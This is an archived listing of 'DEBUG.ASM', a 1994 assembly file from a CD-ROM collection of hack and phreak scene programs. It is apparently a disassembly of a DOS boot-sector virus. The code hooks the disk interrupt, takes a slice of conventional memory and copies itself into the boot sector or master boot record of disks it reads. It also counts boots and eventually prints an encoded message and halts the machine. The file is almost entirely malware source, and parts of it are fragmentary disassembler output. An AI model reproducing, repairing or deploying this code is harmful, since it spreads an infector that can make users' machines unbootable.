home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DEBUG.ASM < prev    next >
Assembly Source File  |  1994-10-06  |  6KB  |  285 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                                     ██
  6. ;██                DEBUG                                     ██
  7. ;██                                                     ██
  8. ;██      Created:   16-Sep-94                                         ██
  9. ;██      Passes:    5          Analysis    Options on: none                 ██
  10. ;██                                                     ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. target        EQU   'T3'                      ; Target assembler: TASM-3.1
  14.  
  15. include  srmacros.inc
  16.  
  17.  
  18. ; The following equates show data references outside the range of the program.
  19.  
  20. data_1e        equ    6
  21. data_2e        equ    0Eh
  22. data_3e        equ    417h
  23. data_4e        equ    46Eh
  24. data_5e        equ    24h
  25. data_6e        equ    26h
  26. data_7e        equ    4Ch
  27. data_8e        equ    4Eh
  28. data_13e    equ    413h            ;*
  29. data_14e    equ    46Eh            ;*
  30. data_15e    equ    7C00h            ;*
  31. data_16e    equ    7CD3h            ;*
  32. data_18e    equ    7D25h            ;*
  33. data_19e    equ    7DBDh            ;*
  34.  
  35. seg_a        segment    byte public
  36.         assume    cs:seg_a, ds:seg_a
  37.  
  38.  
  39.         org    100h
  40.  
  41. debug        proc    far
  42.  
  43. start:
  44.         jmp    short real_start
  45.                                     ;* No entry point to code
  46.         nop
  47.         push    si
  48.         inc    di
  49.         inc    cx
  50.         inc    bx
  51.         push    ax
  52.         db     36h, 30h, 33h, 00h, 02h, 01h
  53.         db     01h, 00h, 02h, 70h, 00h, 68h
  54.         db     06h,0F9h, 05h, 00h, 0Ah, 00h
  55.         db     02h
  56.         db    9 dup (0)
  57.         db     01h, 00h, 29h,0EDh, 93h, 26h
  58.         db     1Dh
  59.         db    'NO NAME    FAT12   '
  60.  
  61. ;██████████████████████████████████████████████████████████████████████████
  62. ;
  63. ;                       External Entry Point
  64. ;
  65. ;██████████████████████████████████████████████████████████████████████████
  66.  
  67. real_start:
  68.         cli                ; Disable interrupts
  69.         push    cs
  70.         pop    ds
  71.         mov    ax,ds:data_7e
  72.         mov    ds:data_16e,ax
  73.         mov    ax,ds:data_8e
  74.         mov    word ptr ds:data_16e+2,ax
  75.         mov    al,ds:data_14e
  76.         mov    ds:data_19e,al
  77.         mov    ax,ds:data_13e
  78.         dec    ax
  79.         mov    ds:data_13e,ax
  80.         mov    cl,6
  81.         shl    ax,cl            ; Shift w/zeros fill
  82.         sub    ax,7C0h
  83.         mov    ds:data_8e,ax
  84.         mov    ds:data_6e,ax
  85.         mov    word ptr ds:data_7e,7C82h
  86.         mov    word ptr ds:data_5e,7D62h
  87.         mov    si,data_15e
  88.         mov    di,si
  89.         mov    es,ax
  90.         mov    cx,100h
  91.         cld                ; Clear direction
  92.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  93.         int    19h            ; Bootstrap loader
  94.         cmp    ah,0AAh
  95.         jne    loc_1            ; Jump if not equal
  96.         iret                ; Interrupt return
  97. loc_1:
  98.         cmp    ah,2
  99.         jne    loc_4            ; Jump if not equal
  100.         cmp    cx,1
  101.         jne    loc_4            ; Jump if not equal
  102.         cmp    dh,0
  103.         jne    loc_4            ; Jump if not equal
  104.         push    ax
  105.         push    bx
  106.         push    si
  107.         push    di
  108.         pushf                ; Push flags
  109.         call    dword ptr cs:data_16e
  110.         jnc    loc_2            ; Jump if carry=0
  111.         jmp    short loc_5
  112. loc_2:
  113.         cmp    word ptr es:[1FEh][bx],0AA55h
  114.         je    loc_3            ; Jump if equal
  115.         jmp    short $+29h
  116.         db     26h, 80h,0BFh,0BCh, 01h,0C9h
  117.         db     74h, 7Ah,0E8h, 8Bh, 00h,0E8h
  118. data_10        db    31h            ; Data table (indexed access)
  119.         db     00h, 8Bh,0F3h, 80h,0FAh, 79h
  120.         db     77h, 1Eh, 83h,0C6h, 02h,0BFh
  121.         db     02h, 7Ch,0B9h, 1Eh, 00h, 32h
  122.         db    0F6h,0EBh, 30h,0EAh, 85h,0A5h
  123.         db     00h,0F0h
  124.         db    0B8h, 01h, 00h,0F8h
  125. loc_5:
  126.         pop    di
  127.         pop    si
  128.         pop    bx
  129.         inc    sp
  130.         inc    sp
  131.         retf    2            ; Return far
  132. loc_6:
  133.         add    si,1BEh
  134.         mov    di,7DBEh
  135.         mov    cx,20h
  136.         jmp    short $+15h
  137.  
  138. debug        endp
  139.  
  140. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  141. ;                              SUBROUTINE
  142. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  143.  
  144. sub_1        proc    near
  145.         mov    ax,301h
  146.         pushf                ; Push flags
  147.         call    dword ptr cs:data_16e
  148.         jnc    loc_ret_7        ; Jump if carry=0
  149.         pop    bx
  150.         mov    cl,1
  151.         xor    dh,dh            ; Zero register
  152.         jmp    short $-28h
  153.  
  154. loc_ret_7:
  155.         retn
  156. sub_1        endp
  157.  
  158.                                     ;* No entry point to code
  159.         push    ds
  160.         push    es
  161.         pop    ds
  162.         push    cs
  163.         pop    es
  164.         cld                ; Clear direction
  165.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  166.         mov    cx,1
  167.         mov    bx,7C00h
  168.         mov    ax,301h
  169.         pushf                ; Push flags
  170.         call    dword ptr cs:data_16e
  171.         jc    $-0Fh            ; Jump if carry Set
  172.         push    ds
  173.         pop    es
  174.         inc    byte ptr cs:data_19e
  175.         pop    ds
  176.         jmp    short $-4Ch
  177.                                     ;* No entry point to code
  178.         add    ax,714h
  179.         sbb    al,1
  180.         or    al,75h            ; 'u'
  181.         push    ss
  182.         sbb    ax,1610h
  183.         push    ds
  184.         db    0FFh
  185. loc_8:
  186.         call    sub_2
  187.         pop    di
  188.         pop    si
  189.         pop    bx
  190.         pop    ax
  191.         pushf                ; Push flags
  192.         call    dword ptr cs:data_16e
  193.         xor    dh,dh            ; Zero register
  194.         mov    cl,1
  195.         retf    2            ; Return far
  196.  
  197. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  198. ;                              SUBROUTINE
  199. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  200.  
  201. sub_2        proc    near
  202.         cmp    dl,79h            ; 'y'
  203.         ja    loc_10            ; Jump if above
  204.         mov    ax,es:[bx+16h]
  205.         mov    dh,1
  206.         cmp    al,3
  207.         jae    loc_9            ; Jump if above or =
  208.         mov    cl,3
  209.         retn
  210. loc_9:
  211.         cmp    al,7
  212.         jae    loc_10            ; Jump if above or =
  213.         mov    cl,5
  214.         retn
  215. loc_10:
  216.         mov    cl,0Eh
  217.         retn
  218. sub_2        endp
  219.  
  220.                                     ;* No entry point to code
  221.         push    ax
  222.         push    ds
  223.         xor    ax,ax            ; Zero register
  224.         mov    ds,ax
  225.         mov    al,ds:data_3e
  226.         and    al,0Ch
  227.         cmp    al,0Ch
  228.         jne    loc_11            ; Jump if not equal
  229.         in    al,60h            ; port 60h, keybd scan or sw1
  230.         cmp    al,53h            ; 'S'
  231.         jne    loc_11            ; Jump if not equal
  232.         in    al,61h            ; port 61h, 8255 port B, read
  233.         push    ax
  234.         or    al,80h
  235.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  236.         pop    ax
  237.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  238.                         ;  al = 0, disable parity
  239.         mov    ax,2
  240.         int    10h            ; Video display   ah=functn 00h
  241.                         ;  set display mode in al
  242.         mov    al,20h            ; ' '
  243.         out    20h,al            ; port 20h, 8259-1 int command
  244.                         ;  al = 20h, end of interrupt
  245.         int    19h            ; Bootstrap loader
  246. loc_11:
  247.         mov    al,ds:data_4e
  248.         mov    ds:data_1e,ax
  249.         mov    ds:data_2e,ax
  250.         push    cs
  251.         pop    ds
  252.         cmp    al,ds:data_19e
  253.         jbe    $+1Ah            ; Jump if below or =
  254.         xor    ax,ax            ; Zero register
  255.         int    10h            ; Video display   ah=functn 00h
  256.                         ;  set display mode in al
  257.         mov    si,data_18e
  258. loc_12:
  259.         mov    ah,0Eh
  260.         xor    bx,bx            ; Zero register
  261.         cld                ; Clear direction
  262.         lodsb                ; String [si] to al
  263.         cmp    al,0FFh
  264.         je    loc_13            ; Jump if equal
  265.         xor    al,55h            ; 'U'
  266.         int    10h            ; Video display   ah=functn 0Eh
  267.                         ;  write char al, teletype mode
  268.         jmp    short loc_12
  269. loc_13:
  270.         hlt                ; Halt processor
  271.         pop    ds
  272.         pop    ax
  273.         jmp    far ptr $-1930h
  274.         db    0C9h, 0Fh, 80h, 01h, 01h, 00h
  275.         db     06h, 0Eh,0E2h,0E7h, 22h, 00h
  276.         db     00h, 00h, 0Eh,0C8h, 07h
  277.         db    49 dup (0)
  278.         db     55h,0AAh
  279.  
  280. seg_a        ends
  281.  
  282.  
  283.  
  284.         end    start
  285.